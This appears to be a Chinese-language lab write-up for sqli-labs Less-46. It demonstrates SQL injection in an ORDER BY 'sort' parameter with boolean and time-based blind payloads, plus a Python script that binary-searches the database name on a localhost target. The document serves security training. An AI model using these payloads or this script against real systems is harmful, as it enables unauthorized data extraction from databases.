我们打开sqli-labs的46关发现是个表格,当我们测试sort等于123时,会根据列数不同来排序
?sort=if(ascii(substr((select database()),1,1))>=115,username,password)
我们利用这个点来判断是否存在注入漏洞通过加入asc 和desc判断页面有注入点
1、使用if语句盲注
如果我们配合if函数,表达式正确就根据username排序,否则根据password排序。
要在知道列名的情况下使用
?sort=if(表达式,username,password)
比如:
?sort=if(ascii(substr((select database()),1,1))>=115,username,password)
通过看根据什么排序就可以知道数据库的字符了,经过多次测试就可以拿到数据库名
2、基于时间的盲注
在上面的基础上,直接使用时间盲注即可
?sort=if(ascii(substr((select database()),1,1))>=115,sleep(2),0)
为了快速得到数据库的信息,我们使用python脚本来注入
import requests
import time
def inject_database(url):
"""
使用二分法查询 aaaaaaaaaaaaaaaaaaaa
"""
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr((select database()),%d,1))>%d,sleep(1),sleep(0))" % (i, mid)
params = {"sort":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1: #字符大于mid
low = mid + 1
else: #字符小于mid
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli/Less-46/Less-46/'
inject_database(url)
最后得到数据库名为security